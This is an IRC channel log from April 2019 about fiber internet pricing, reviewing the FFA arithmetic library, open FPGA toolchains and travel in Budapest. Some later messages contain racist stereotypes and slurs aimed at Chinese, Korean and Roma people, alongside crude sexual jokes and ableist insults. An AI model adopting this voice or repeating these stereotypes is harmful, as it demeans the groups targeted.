1908710;1555443461;feedbot;http://qntra.net/2019/04/google-hit-with-multi-million-dollar-cleanup-fee-after-withdrawing-experimental-fiber-service-from-louisville/ << Qntra -- Google Hit With Multi Million Dollar Cleanup Fee After Withdrawing Experimental Fiber Service From Louisville
1908711;1555443605;BingoBoingo;mp_en_viaje: The old man clearly was predatory to the vulnerable young man... Femstate means if a young buck has any color on him his agency is female.
1908712;1555444139;mp_en_viaje;yeah but i mean...
1908713;1555444438;BingoBoingo;Well, don't think of it as any France you've read about. Think about it as a US college campus post 2015
1908714;1555444620;mp_en_viaje;evidently.
1908715;1555444758;BingoBoingo;Maybe Notre Dame didn't want to be what France became anymore and went the "an hero" route
1908716;1555444972;asciilifeform;re fiber -- good % of usa is still using modem over copper. somewhere near zimbabwe level of net pipe service, overall.
1908717;1555445000;asciilifeform;if you want fiber, it's 100+/mo for ~minimal~ bw , and then only in (small %) of the habitable coasts
1908718;1555445111;asciilifeform;none of the stated excuses really pass laugh test, either ( 'ohnoez, expensive to rip up asphalt' -- but they do it all year long, for 0 actual reason, largely to keep up 'road work doubles traffic fines' thing they have going in many states )
1908719;1555445180;BingoBoingo;There's outposts in the interior with fiber, but the demographics gotta be right http://www.highlandcommunicationservices.com/HCSResInt.php
1908720;1555445208;BingoBoingo;That particular example hangs their fiber on the light poles
1908721;1555445275;mp_en_viaje;i got fiber ~free
1908722;1555445278;mp_en_viaje;5eur/mo
1908723;1555445284;mp_en_viaje;1gbit
1908724;1555445291;asciilifeform;^ was the advertised rate on the billboards in timis iirc
1908725;1555445303;mp_en_viaje;pretty much all of yurp. the german rings
1908726;1555445326;mp_en_viaje;legend has it they're as thick as a subway tunnel
1908727;1555445373;*;mp_en_viaje is preparing another photopost
1908728;1555445373;asciilifeform;mp_en_viaje: these iirc tend to be dug along side railroad right-of-way. in europistan, a++. in ameristan, on other hand..
1908729;1555445558;*;asciilifeform bbl:tea
1908730;1555446395;mp_en_viaje;btw, in other [http://trilema.com/2013/time-for-europe-to-repeal-the-us-backed-aml-crap/][mp disposes, the world executes] : been changing dough all over without any id. germany usd to eur ("do you need id ?" "nah" "can you do 5k ?" "if that's what you want..."), hungary eur to huf, you name it.
1908731;1555446445;mp_en_viaje;people could give less of a shit about the retarded states of america and its pompous pretense, somehow, maybe. not sure how exactly.
1908732;1555447724;feedbot;http://trilema.com/2019/budapest-and-such/ << Trilema -- Budapest and such
1908733;1555450014;asciilifeform;mp_en_viaje: oddly enuff in ro 100% asked for passport ( whether this is always, or simply cuz asciilifeform looked like rube -- nfi )
1908734;1555450195;asciilifeform;iirc in BingoBoingostan ditto
1908735;1555452485;BingoBoingo;I've never been asked for ID at a Cambio to change currency either direction
1908736;1555452527;BingoBoingo;"Me gustaría pesos" (hands cash, recieves other cash)
1908737;1555454139;asciilifeform;possibly i fughet
1908738;1555454144;asciilifeform;but in ro defo was
1908739;1555460281;mod6;http://btcbase.org/log/2019-04-16#1908650 << Hi there!  A brief synopsis of what I've been working on with my limited time over the last couple of weeks here; Read-up about ave1's GNAT, built it, deployed to cuntoo successfully, a blog post is forthcoming as a bit of a summary of what I did there.
1908740;1555460281;a111;Logged on 2019-04-16 15:40 asciilifeform wonders re status of the 'escape from fleanode' proj..
1908741;1555460298;mod6;Read through and digested the first chapter of ffa, just need to add my seal to your blog when I have a spare few minutes.  Regarding the irc stuffs, I've one time, stood up a ircd-hybrid and connected it to a friends of the same as a "peer".
1908742;1555460312;mod6;This was like, twenty years ago or some such thing.
1908743;1555460325;mod6;I did recently stand up an ircd-ratbox (last month), but I was not thinking about it with any sense.
1908744;1555460347;mod6;I did a very shallow dive on what "bridging" is about, conceptually about a week ago.  Since I'm way out of my depth on this one, I haven't reached out to anyone on Undernet yet, just because when I do, I would like to have some idea of what I'm talking about.
1908745;1555460378;mod6;There are probably others in the Republic more versed in these things, but I'll still try to learn more about it this month regardless.
1908746;1555460385;asciilifeform;neato mod6 . possibly i misaddressed the q , and it was someone else who was working on this, i gotta look again in the log
1908747;1555460389;mod6;This month has been insane-level busy for me, but I'll try to get my head around it by month-end so I can speak to the topic intelligently.
1908748;1555460445;mod6;asciilifeform: You may be correct.  trinque and I were discussing it, there may have been others.  Just wanted the republic to know that I didn't vaporize, nor forget.
1908749;1555460525;asciilifeform;ty for update, mod6 . re ffa -- dun hesitate to ask q if you found anyffin to be unclear
1908750;1555460535;mod6;*nod* will do!
1908751;1555460591;mod6;Did build keccak vtools on cuntoo, whole ffa tree verifies there.  pressed just through chapter 1, did a gprbuild on that first chapter, no errors, works great.
1908752;1555460630;mod6;'tis all I've got for the moment.  Will holler if I've got any Q's or comments. o7
1908753;1555465870;trinque;much as I'd like to put all the blame on fleanode, I'd like it if the bot handled this stuck state a bit better. it's still on my todo list to address.
1908754;1555465884;trinque;at the very least, to come up with a model for wtf occurs.
1908755;1555472081;mp_en_viaje;asciilifeform, ro is pretty retarded.
1908756;1555472234;mp_en_viaje;trinque, i suppose one possible approach, in desperation of anythingelse, would be the brit's "nuclear security" protocol of checking for bbc keks.
1908757;1555472245;mp_en_viaje;deedbot could see if any of the other bots respond.
1908758;1555481091;feedbot;http://trilema.com/2019/der-fantastische-harem/ << Trilema -- Der fantastische Harem.
1908759;1555510726;asciilifeform;!Q later tell phf can pleez have the old 'auto new tab' log link behaviour back ?
1908760;1555510726;lobbesbot;asciilifeform: The operation succeeded.
1908761;1555510984;phf;asciilifeform: yes, fixed, ty
1908762;1555510984;lobbesbot;phf: Sent 21 hours and 27 minutes ago: <asciilifeform> wouldja be willing to stand up a logger instance for #pizarro ? appears that ben_vulpes and his bot, may have been lost at sea or whoknows
1908763;1555510985;lobbesbot;phf: Sent 4 minutes ago: <asciilifeform> can pleez have the old 'auto new tab' log link behaviour back ?
1908764;1555511094;phf;also re pizarro, i can, but it'll take me a bit of time, it doesn't have multi channel capability, but then i'm also not sure if i want to make it explicitly multi channel. i might just spin up a second instance instead
1908765;1555511231;phf;hmm, perhaps it can read links and do xref across several channels, only reason i can think of to make it multichannel capable.
1908766;1555515571;asciilifeform;phf: ty
1908767;1555515639;asciilifeform;iirc ben_vulpes had the multichannel xref thing
1908768;1555517267;asciilifeform;meanwhile, in re http://btcbase.org/log/2019-04-15#1908560 lulz : didjaknow, in e.g. <= 250nm process, concept of 'yield' is invariably in the direction of http://btcbase.org/log/2019-04-10#1907933 , rather than ye olde 'put the working units in crate A , the dead -- in the skip'
1908769;1555517267;a111;Logged on 2019-04-15 19:41 asciilifeform: also ate buncha vlsi likbez in weekend, but early to write re subj yet.
1908770;1555517267;a111;Logged on 2019-04-10 17:24 asciilifeform: ( i suspect mp_en_viaje knew this already, but even intel et al, 'cheat', when you buy a pentium-whatever with 'n cores', it really has 24 or whatnot, and only n working units , the others lasered out )
1908771;1555517409;asciilifeform;i.e. the # of ~working~ transistors you can reliably fit on 1 die, flattened out some time even before what is ordinary thought of as 'death of moore's law'
1908772;1555517416;asciilifeform;*ordinarily
1908773;1555517537;asciilifeform;... which makes the [http://btcbase.org/log/2019-04-10#1907927][hdd-like approach described in earlier thread] even moar appealing -- dun have to laser'em out, can simply map the dead blocks, and tell autorouter not to use'em
1908774;1555517537;a111;Logged on 2019-04-10 17:21 asciilifeform: you map'em out, like 'bad blocks' on '80s hdd
1908775;1555518288;asciilifeform;unrelatedly : phf , iirc you signed a coupla ch of ffa prior to the keccak regrind. didja ever sign the reground chs ?
1908776;1555518385;asciilifeform;currently [http://btcbase.org/patches/ffa_ch18_subroutines.kv][looks like] bvt is the champ ffa eater.
1908777;1555519423;BingoBoingo;In other conspiracies former President of Peru allegedly evacuated his own skull case with lead when the police showed up to to gulag him.
1908778;1555522587;BingoBoingo;And in Aregentina https://www.elobservador.com.uy/nota/plan-anticrisis-macri-congela-tarifas-de-luz-gas-y-transporte-por-el-resto-del-ano-201941711573
1908779;1555525792;asciilifeform;meanwhile, apparently (last yr) in heathendom, https://archive.is/UVbUE << c. wolf , author of the [http://btcbase.org/log/2017-08-31#1707976][ice40 open fpga toolchain] , apparently barfed and 'went naggum'
1908780;1555525792;a111;Logged on 2017-08-31 23:18 asciilifeform: meanwhile, in ic-pr0n, http://www.clifford.at/icestorm/bitdocs-8k << spiffy example of nonpdfized ( per earlier mircea_popescu thread ) hierarchical docs
1908781;1555525840;asciilifeform;from, near as i can tell, starvation.
1908782;1555526034;asciilifeform;meanwhile, in february, chinese [https://www.gowinsemi.com/en/]['gowin semiconductor co'] cloned ice40. but if anyone thought this means 'open spec', guess again, only worx with their 'YunYuan' closed shitware toolchain.
1908783;1555527161;asciilifeform;re wolf, i admit to being surprised that he found any kinda moneys at all
1908784;1555527544;asciilifeform;aand last update on the [http://www.clifford.at/icestorm/][ice40 page] seems to be 30 jan '18. so nuffin happened there since i 1st found it. ( there was, at one point, e.g. talk of support for the larger lattice co. chips )
1908785;1555527608;asciilifeform;so that story seems to be headed to the usual [http://btcbase.org/log/2015-03-24#1068405][finale] for such.
1908786;1555527608;a111;Logged on 2015-03-24 18:38 ascii_field: mats: the way the story normally ends is that the reversed fpga becomes quasi-usable nearly the same time it goes out of print and replaced with incompatible version...
1908787;1555527723;asciilifeform;evidently, the hero who knows how to turn work on sane kompyooting irons/softs into a self-sustaining economic item, is not yet born.
1908788;1555527746;*;asciilifeform suspects that this would require finding some other planet to sell'em on..
1908789;1555527801;bvt;asciilifeform: isn't ice40 a done thing, i.e. is there anything else to add to it?
1908790;1555527848;asciilifeform;bvt: i'm satisfied that wolf properly described the low-level fabric of the 8k model. but the synthesis engine is pretty barbaric.
1908791;1555527872;asciilifeform;he had plan to dig into the larger fpga from same vendor, and to improve the synth engine, but apparently went nowhere.
1908792;1555527945;asciilifeform;( ~why~ went nowhere -- i do not presently know; it may be simply from lack of time , ~or~ could easily be because he does not in fact have the relevant gate-delay numbers . the published docs suggest the latter as possibility )
1908793;1555527988;bvt;the larger fpga - seems to be it https://symbiflow.github.io/prjtrellis-db/ ? last time i checked it was work in progress
1908794;1555528030;asciilifeform;bvt: thing was 'work in progress' for years iirc.
1908795;1555528115;asciilifeform;there are two consequences of poor synth engine : [http://btcbase.org/log/2018-01-04#1764242][can't fit into the chip even items that theoretically oughta fit], and : what's worse, sometimes ~can~ fit, but 'mysteriously' dun work at reasonable clock , cuz mismatched path delays.
1908796;1555528115;a111;Logged on 2018-01-04 20:06 asciilifeform: in other 'news', it is apparently impossible to fit even ONE 4096-bit adder into an ice40-8k ( the largest in the series )
1908797;1555528212;bvt;i have to admit i have zero experience with these tools
1908798;1555528253;asciilifeform;bvt: re delays, it's a quite basic fact, if you have e.g. nand gate in 1 path, and straight wire in other, the signals will get to other side at different times
1908799;1555528338;asciilifeform;this is why fpga design ~never runs at anywhere near the max switching rate specced by the device vendor. a good synth tool 1) tries to minimize the delays 2) gives you an accurate figure for max clock, and for propagations of individual paths ( if you have e.g. dram hanging off the thing, these are critical )
1908800;1555528402;asciilifeform;as it stands, it is just about impossible, presently, to bake even very simple dram controller for ice40
1908801;1555528455;asciilifeform;( it will not only occupy the ~entire matrix, even if you somehow get it to fit; but also won't meet timing spec, even at pretty modest clock )
1908802;1555528615;bvt;i get the propagation delay physics; i guess the question is how much is lost due to suboptimal design tools, vs max capability of hardware
1908803;1555528666;asciilifeform;bvt: naturally synth tool cannot 'squeeze blood from a stone'
1908804;1555528739;asciilifeform;but if you want deterministic paths, currently yer stuck using the vendor shitware. ( what's worse, even on ye olde xilinx apparently it is impossible to write e.g. a working 200MHz+ dram controller from 1st principles, yer forced to use the vendor's shitware that actually knows the gate delays, to equalize the paths )
1908805;1555528808;asciilifeform;the ice40 people , arguably 'solved half of the problem' -- they found a reasonably homogeneous chip so that they could describe the actual connections. but apparently were unable to map out the delays.
1908806;1555529021;asciilifeform;it's a 1st-class bitch to do this with 0 cooperation from the folx who make the chip, mainly cuz erry single revision has different intrinsic delays.
1908807;1555529165;asciilifeform;in principle it would be trivial to bake a standardized, commoditized fpga. the 'gowin' people could have easily done this, an' published the interconnect scheme and the delay map. BUT what no one knows how to do, is to make this a +ev proposition. observe, the chinese had no interest in trying to commoditize , but instead went 'we'll do exactly what xilinx does but slightly cheaper , out of chinesium'
1908808;1555529261;asciilifeform;i.e. yer still stuck with their closed shitware, and with closed 'ip cores' (libraries) from them if you want sdram, ethernet, etc.
1908809;1555529292;asciilifeform;cuz they dun give you the info that you'd need to actually bake the config streams for these 'from 1st principle'.
1908810;1555529321;asciilifeform;the entire biz model of fpga market as it existed since 1990 or so, is based specifically on pulling this kinda scam.
1908811;1555529385;asciilifeform;2y ago asciilifeform found a ru firm that cloned altera's larger fpga. they do SAME THING
1908812;1555529400;asciilifeform;( and, bonus, their shitware aint even sold outside of ru )
1908813;1555529465;asciilifeform;it's exactly the 'biz model' of mp's proverbial [http://btcbase.org/log/2016-04-07#1448124]['wall holders'].
1908814;1555529465;a111;Logged on 2016-04-07 17:50 mircea_popescu: basically, all the architecture systems architects have managed yet to produce is the equivalent of "we need 10.1k builders - 100 to build and 10k to hold up the walls once we're done".
1908815;1555529837;bvt;i see; if vendor can subvert the chip in nonobvious way by changing delays organizing a military style приемка would be the only option for actually using the devices
1908816;1555529858;asciilifeform;aaha
1908817;1555530207;BingoBoingo;http://btcbase.org/log/2019-04-17#1908779 << This retard in the thread "It would be nice to see OpenSilicon Foundation or whatever the name would be. Similar to what Apache or Linux Foundations do? But that requires someone with really good and people skills and industry connections to run. The list of existing ones is long: "...
1908818;1555530207;a111;Logged on 2019-04-17 18:29 asciilifeform: meanwhile, apparently (last yr) in heathendom, https://archive.is/UVbUE << c. wolf , author of the [http://btcbase.org/log/2017-08-31#1707976][ice40 open fpga toolchain] , apparently barfed and 'went naggum'
1908819;1555530227;BingoBoingo;The point of those "foundations" seems to be preventing good things
1908820;1555530238;asciilifeform;BingoBoingo: the reason why there aint a linux-style derpfoundation in ironware, is elementary
1908821;1555530257;asciilifeform;feeding 9000 poetterings is quite cheap, compared to cost of making even very modest 1980s-style irons.
1908822;1555530302;asciilifeform;you can't make chip fab cheaper by asking it to live in group house 15 cucks to a room and to eat recycled noodles.
1908823;1555530305;asciilifeform;it costs what it costs.
1908824;1555530339;asciilifeform;sorta why there aint a 'open sores satellite launcher' firm, etc
1908825;1555530380;asciilifeform;( tho iirc there was an actual attempt to organize 1, they launched a crate or 2 of fist-sized beepbeeps into deliberately burns-in-coupla-months orbit )
1908826;1555530459;asciilifeform;observe that even the btc asic thing was financed by outright fraud (and on massive scale)
1908827;1555530565;BingoBoingo;Right, the problem with megashops subsidizing the milk to kill small shops pops up here. Whatever it costs is undercut by USG financing Intel and other shitgnomes in the space.
1908828;1555530566;asciilifeform;asic is a high enuff risk biz that the people who do it, are conservative to the point of 'if this exact thing hasn't been done before, fughetaboutit'
1908829;1555530582;asciilifeform;BingoBoingo: there aint any 'small shops' in chip biz.
1908830;1555530587;asciilifeform;not since 1980 or so.
1908831;1555530609;BingoBoingo;Not disputing that
1908832;1555530639;asciilifeform;it's the most massively centralized industry that exists. there are actually moar independent satellite launchers than e.g. <= 70nm fabs.
1908833;1555530651;*;asciilifeform brb:tea
1908834;1555530652;BingoBoingo;Just wondering what a market could look like if USG didn't burn a trillon or so over the decade promoting shit
1908835;1555530783;feedbot;http://ossasepia.com/2019/04/17/reading-notes-on-ffa-ch1-ch4/ << Ossa Sepia -- Reading Notes on FFA Ch1 - Ch4
1908836;1555530901;diana_coman;asciilifeform: my sigs for ch9-ch11 are at http://ossasepia.com/reference-code-shelf/#selection-693.0-755.49
1908837;1555530943;diana_coman;the writeup is behind the sigs that are behind the read that is behind the skim and so on
1908838;1555532296;asciilifeform;diana_coman: a++, will read, and will roll the sigs into next ch
1908839;1555532322;asciilifeform;mega-illustration btw
1908840;1555532372;*;asciilifeform will have to switch to diff machine to properly eat diana_coman's piece today , as it gets mangled on my usual 90degree display
1908841;1555532407;asciilifeform;diana_coman: 1st link malformed btw
1908842;1555532451;asciilifeform;mod6 ^ + other ffa-eating folx, i suspect will find diana_coman's piece quite handy
1908843;1555532815;asciilifeform;diana_coman: re the stylistic nitpicks : there'll defo be a tail-end ch where various items get moar descriptive names. and i agree with diana_coman's pt re e.g. 'Get_Head'
1908844;1555532870;asciilifeform;re shift_right and shift_left -- these follow the machine convention, which afaik has been unchanged since 1960s and long pre-dates 'endianism' wank
1908845;1555532934;asciilifeform;diana_coman: i'm still stumped re where it was that i had 'most junior bits on the left' tho
1908846;1555533019;asciilifeform;if it's re the arrays, these are forced into 0 .. N notation by the lang
1908847;1555533070;asciilifeform;( which is admittedly annoying, from notational purism pov, but not much to be done about it )
1908848;1555533188;asciilifeform;http://ossasepia.com/2019/04/17/reading-notes-on-ffa-ch1-ch4/#selection-161.412-161.519 << measurable penalty. which is why the 'range-independent' thing is in some ops but not others. i headached over this extensively when 1st wrote.
1908849;1555533361;asciilifeform;http://ossasepia.com/2019/04/17/reading-notes-on-ffa-ch1-ch4/#selection-219.321-219.445 << y'know, there isn't any harm in 'looking ahead in the textbook', when you feel like doing so
1908850;1555533473;asciilifeform;tho i do suspect that i did introduce certain knobs before there was strictly a need to do so, solely on acct of imperfect plan ( recall, most of the proggy through ch10 or so, pre-existed the start of the human-readable series )
1908851;1555533888;asciilifeform;'MachineBitnessLog2' is prolly the most obv. example of this, it only comes into play in ch13
1908852;1555534029;asciilifeform;re the range-independent thing -- it is part of a larger picture, summarized in http://www.loper-os.org/?p=2892#selection-231.1-391.71 ( in turn from an earlier diana_coman thread, in fact . )
1908853;1555534134;asciilifeform;there's an engineering tension b/w 'maximally consistent' and 'performs reasonably on pc' , which i resolved mostly but not entirely in favour of the former
1908854;1555534177;asciilifeform;e.g. one ~could~ have preconds on ~all~ of the ops, but then say goodbye to inlining and hello to 'geological' rsa.
1908855;1555534206;asciilifeform;i settled it in favour of having preconds etc. on the ~user-operable~ api ( as pictured in ch11. )
1908856;1555534249;*;mp_en_viaje waves
1908857;1555534256;asciilifeform;ohai mp_en_viaje
1908858;1555534268;mp_en_viaje;how goes!
1908859;1555534269;asciilifeform;still kicking hungarians into traffic?
1908860;1555534280;mp_en_viaje;lol nah, i think i walked 20 miles today
1908861;1555534285;asciilifeform;neato
1908862;1555534356;mp_en_viaje;pest eminently walkable, is the truth of the matter
1908863;1555534387;asciilifeform;afaik ~all of europistan walkable, except maybe bucharest where they do the orc thing of 'we'll all buy merc on credit and park on sidewalk'
1908864;1555534468;mp_en_viaje;well yes, but it also helps to have where to walk ~to~
1908865;1555534508;mp_en_viaje;i mean here, the chicks are a pleasure. cosmetics store clerks are like, running more of a club in the g0d damned store than the average costa rican strip club
1908866;1555534516;asciilifeform;diana_coman: re [http://ossasepia.com/2019/04/17/reading-notes-on-ffa-ch1-ch4/#selection-93.1-93.63]['Natural' type] -- this is one of asciilifeform's persistent headaches -- the lang forces certain things to be indexed by 'Natural', and i optimized for minimal # of casts ( i fucking hate casts, and imho the fact that one cannot write a proggy ENTIRELY without'em, is a language bug )
1908867;1555534686;asciilifeform;mp_en_viaje: 'where to walk to' is absolutely killer here in ameristan. asciilifeform walks erry day, but frustratingly in (however large) circles
1908868;1555534700;mp_en_viaje;you know ?
1908869;1555534720;mp_en_viaje;you;d prolly love the architecture here. ever been ?
1908870;1555534724;asciilifeform;nein
1908871;1555534741;mp_en_viaje;oh, absolutely must then.
1908872;1555534752;asciilifeform;when went to timis 1st thought 'oh budapest is 30min by bus' but ran outta time.
1908873;1555534759;mp_en_viaje;lotta little good things, you know, like... go for a ~hour danube trip, have a bottle of wine on  boat.
1908874;1555534780;mp_en_viaje;asciilifeform, really the sane way is to connect through budapest. one of the better airports in general area.
1908875;1555534808;asciilifeform;erry time i try an' connect via somewhere-interesting it seems to add a digit to price
1908876;1555534815;mp_en_viaje;naa
1908877;1555534830;mp_en_viaje;where'd you flew to timisoara through ? bucharest ?
1908878;1555534833;asciilifeform;aha
1908879;1555534844;mp_en_viaje;via budapest prolly 10% cheaper or such
1908880;1555534926;*;asciilifeform salivates at the thought of seeing e.g. budapest, but presently having to save up 'vacation' juice for BingoBoingostan expeditions, rotting in bed with flu, etc
1908881;1555534937;mp_en_viaje;poor you'
1908882;1555534974;asciilifeform;hey picture how crowded would be if erryone were somehow mp_en_viaje
1908883;1555534982;mp_en_viaje;but yes, budapest very much recommended.
1908884;1555535130;*;asciilifeform doesn't post much travel photo on acct of... it'd be like a dog posting food pics. 'omfg errything here was Built By People! and not josephsmiths! omfg have you seen a light post like this?' etc
1908885;1555535199;asciilifeform;if asciilifeform could leave the idjit reservation for even say whole 6 wks, perhaps effect would wear off. but when or how would this even happen lol.
1908886;1555535371;mp_en_viaje;i suppose ima have to post the "bring me one of everything" pics huh.
1908887;1555535402;asciilifeform;iirc already posted 1 , with the wine glasses
1908888;1555535426;asciilifeform;but it dunhurt to make moar
1908889;1555535436;mp_en_viaje;oh oh, the palinka
1908890;1555535443;mp_en_viaje;that's actually the local spirit.
1908891;1555535458;asciilifeform;and pics are great, i suspect most of these 'everythings' i will only see if mp_en_viaje finds time to make a pic of'em.
1908892;1555535509;mp_en_viaje;it wasn't that bad, like a hundred bucks worth or so.
1908893;1555535545;mp_en_viaje;"I should just burn it all down and start something completely fresh. I always thought CFD combustion models are super fascinating. Maybe I'll do that next. Or maybe I'll just drop off the grid, get a regular job, and write EDA software just for me and nobody else. Fuck FOSS EDA. " << i wonder what happened there.
1908894;1555535554;asciilifeform;walking across europistan isn't a mp_en_viaje-strictly activity because expensive. but because takes time.
1908895;1555535556;mp_en_viaje;not that i don't have a guess.
1908896;1555535556;BingoBoingo;* asciilifeform doesn't post much travel photo on acct of... it'd be like a dog posting food pics. 'omfg errything here was Built By People! and not josephsmiths! omfg have you seen a light post like this?' etc << iirc you still have good chunk of Bingoboingistan on your camera roll
1908897;1555535588;asciilifeform;BingoBoingo: i take the pics mostly for self, to occasionally look at and remember that there ~is~ an outside
1908898;1555535616;asciilifeform;i use'em the way folx on submarine use their pics of trees an' birds etc
1908899;1555535666;mp_en_viaje;oh i see, this is one of those "if mp gives some money then we'll pretend microsoft gave us money, and if not, whatever, '''do something else'''"
1908900;1555535670;mp_en_viaje;they can get bent.
1908901;1555535675;asciilifeform;mp_en_viaje: re 'what happened there' , d00d seems to say his piggy went dry.
1908902;1555535683;asciilifeform;i have nfi either way. ( in fact had nfi that he ~had~ a piggy )
1908903;1555535690;mp_en_viaje;ya ya, whole theo  de radt song and dance again.
1908904;1555535697;asciilifeform;mp_en_viaje: 6mo old page. i think he already bent.
1908905;1555535703;mp_en_viaje;fuck 'em, that schmuck poisoned the well for all of them rotinculo.
1908906;1555535709;BingoBoingo;No reason not to post trees and birds more often. This week they butchered the trees on my street, but they'll grow back still gnarlier copices and pollards. It's a thing of charm.
1908907;1555535710;mp_en_viaje;all the better.
1908908;1555535770;asciilifeform;mp_en_viaje: (as you can read further downthread) the misfortunate thing is that died before got anywhere near mature ice40 tool.
1908909;1555535789;asciilifeform;( the '18 one , i have, and worx for low-frequency applications like e.g. 'fg 2' , but that's pretty much it )
1908910;1555535956;mp_en_viaje;all these 40-something white dudes with a lengthy "conferences" resume and a buncha [http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/][typical] assorted [http://trilema.com/2014/the-public-burning-of-bob-beck/][retardation]. not useful, cordially invited to http://trilema.com/2016/asscience/ it.
1908911;1555536022;asciilifeform;mp_en_viaje: knowing 0 aside from the product , i would say it is not correct to put wolf in the company of koch -- wolf actually did sumthing nontrivial and useful ( mapped out the ice40 matrix )
1908912;1555536031;mp_en_viaje;the world is truly better off without linus, without this dork, without all of them. better a frank dark age than more of this twittercrap.
1908913;1555536044;mp_en_viaje;asciilifeform, so did linus. so did de raadt.
1908914;1555536061;mp_en_viaje;it is WORSE than not doing anything at all. much like poisoned meat is worse than a similar sized rock.
1908915;1555536072;asciilifeform;where did he 'poison the meat' ?
1908916;1555536090;mp_en_viaje;!!gettrust ice40
1908917;1555536090;deedbot;L1: 0, L2: 0 by 0 connections.
1908918;1555536092;mp_en_viaje;^
1908919;1555536095;asciilifeform;he didn't conjure up the delay map, but asciilifeform neither knows how to do this without seven figures' worth of microscopy
1908920;1555536163;asciilifeform;( my current understanding, is that it would be actually ~cheaper~ to bake own homogeneous-fpga thing ... )
1908921;1555536197;mp_en_viaje;and the EXACT same goes for linus. because if deedbot comes out with 0, you know ~for a fact~ schmuck's running a bait and switch scheme, waiting for anon tards to donate their wikipedia editing to him so he can donate it to some "code of conduct" femstate tards down the line.
1908922;1555536199;mp_en_viaje;it's what it is.
1908923;1555536228;mp_en_viaje;none of these retards "doing things" "running projects" etcetera outside of the republic are worth 0. they're all negative.
1908924;1555536230;*;asciilifeform did , repeatedly, write, and many yrs ago nao, that the 'reverse fpga' people are solving the wrong problem -- by the time they achieve anyffin, vendor simply replaces the design and laffs
1908925;1555536268;mp_en_viaje;obama's just a retarded monkey. "clifford wolf", now that;s actual poison.
1908926;1555536320;BingoBoingo;Anyways, Notre Dame is now officially staying ruins with Macron's 5 year "Built it more beautiful plan" http://archive.is/ATdMe
1908927;1555536346;asciilifeform;'they hoped for "a new spire that is adapted to the techniques and the challenges of our era"' << lol!!
1908928;1555536347;mp_en_viaje;BingoBoingo, imo primo real estate for peace & reconcilliation mosque
1908929;1555536350;asciilifeform;plastic fantastic
1908930;1555536363;asciilifeform;mp_en_viaje: precedent, too. recall 'wtc mosque'.
1908931;1555536364;BingoBoingo;mp_en_viaje: I assume that's what "more beautiful" means
1908932;1555536388;mp_en_viaje;"They sounded at 16:50 GMT to mark the exact moment when the blaze started on Monday." << the preoccupations of these fucktards.
1908933;1555536462;BingoBoingo;The former priviledged lease to the Catholics gets Surrendered by Argentine anti-pope. Mourning ensues for the absent Borgias.
1908934;1555536576;mp_en_viaje;http://btcbase.org/log/2019-04-17#1908782 << which is likely some windows-7-only pile of http://btcbase.org/log/2019-04-10#1907846 nonsense
1908935;1555536576;a111;Logged on 2019-04-17 18:33 asciilifeform: meanwhile, in february, chinese [https://www.gowinsemi.com/en/]['gowin semiconductor co'] cloned ice40. but if anyone thought this means 'open spec', guess again, only worx with their 'YunYuan' closed shitware toolchain.
1908936;1555536576;a111;Logged on 2019-04-10 16:35 mp_en_viaje looks at the wonder. it's something else, requires adobe air, atop a lengthy pile of other bullshit. the comments "#added by yong wong" in the ~100kb init.sh (that ~requires root~) are the lulz of all time.
1908937;1555536747;asciilifeform;mp_en_viaje: lol howdja guess?!111
1908938;1555536753;asciilifeform;what else are they ever.
1908939;1555536762;mp_en_viaje;i dunno, a goose laid it on me.
1908940;1555536808;mp_en_viaje;we think we have problems, you should see the army of chinese 20something retards and their personal habits for writing code.
1908941;1555536821;mp_en_viaje;satoshi's a paragon of elegance in that context.
1908942;1555536821;asciilifeform;oh i have seen
1908943;1555536839;BingoBoingo;The retards treat their old windows versions as sacrosanct. Those turds draw more loyalty than any linux versions.
1908944;1555536855;asciilifeform;china, in case anyone was thick enuff not to yet notice, is not therepublic; it's a cheap chinesium clone of 'vhs' usg.
1908945;1555536864;mp_en_viaje;they seem to get some very weird to not say patently insane satisfaction out of "making i twork"
1908946;1555536895;mp_en_viaje;it's almost like their version of mating. "i enjoy sticking it into the missus precisely because i have no fucking idea how i got here nor any confidence i could repeat it ever"
1908947;1555536926;mp_en_viaje;which is how "sacrosanct windows version" got to be the thing.
1908948;1555536951;asciilifeform;iirc korea even worse. ( ~0 one in korea has ever heard of any www browser other than ie , for instance )
1908949;1555536964;mp_en_viaje;and then they went and built a "banking" stack on it.
1908950;1555536967;asciilifeform;aha
1908951;1555536977;asciilifeform;mandatory, too ( do biz in kr ? say hello to ie ~6~ )
1908952;1555536982;mp_en_viaje;and THEN they think it's ~fans~ that suck the air out of the room while you sleep so you suffocate.
1908953;1555536989;mp_en_viaje;not the fucking banking apps.
1908954;1555537040;mp_en_viaje;the de-moronification of short little men with slanty eyes and tiny dicks makes the turning of all us suburban mall rats into virtuoso concert pianists a picnic of a task.
1908955;1555537087;mp_en_viaje;and speaking of tiny dicks : EVERYONE IN ROMANIA GOES ABOUT WITH A THIMBLE BETWEEN THEIR LEGS.
1908956;1555537119;mp_en_viaje;entire fucking country has nothing but tiny dick condoms, i'm like, bitch, where the fuck do you keep the large ones, they're like what large ones.
1908957;1555537120;BingoBoingo;In New World Wonders I present "The Catherdral of Artigas" (sparsley populated territory in the Northern Corner bordering Brasil) http://archive.is/wmjIU
1908958;1555537123;*;asciilifeform worked with chinese fella who spent multiple hr erry day on ~looking for 10c cheaper petrol~ . the english have perfect term, 'penny wise, pound foolish'
1908959;1555537125;BingoBoingo;What a clock
1908960;1555537181;*;asciilifeform brb:meat
1908961;1555537191;mp_en_viaje;ended up having to import magnums, because "o no, all we do is durex here" "okay, so where's the durex xl then ?" "what ? no such ting exists!!!!"
1908962;1555537474;mp_en_viaje;http://btcbase.org/log/2019-04-17#1908807 << guaranteedly no thought went into any of this. the http://btcbase.org/log/2016-05-16#1467290 proprietor of a previously transylvanian saxon-owned property including an acre of orchard that wasn't properly pruned failing to properly prune the damned trees isn't proof positive "nobody could turn tree pruning into +ev activty". the fucktarded gypo doesn't even know what the fuck an orchard is, nor could distin
1908963;1555537474;a111;Logged on 2019-04-17 19:26 asciilifeform: in principle it would be trivial to bake a standardized, commoditized fpga. the 'gowin' people could have easily done this, an' published the interconnect scheme and the delay map. BUT what no one knows how to do, is to make this a +ev proposition. observe, the chinese had no interest in trying to commoditize , but instead went 'we'll do exactly what xilinx does but slightly cheaper , out of chinesium'
1908964;1555537474;a111;Logged on 2016-05-16 18:15 mircea_popescu: there's stories in the us proletcult folklore about the regime deciding to socially integrate gypsies, ending up with indoor fireplace fed from what used to be the parquet...
1908965;1555537474;mp_en_viaje;guish a pruning kit from a mohel's tools.
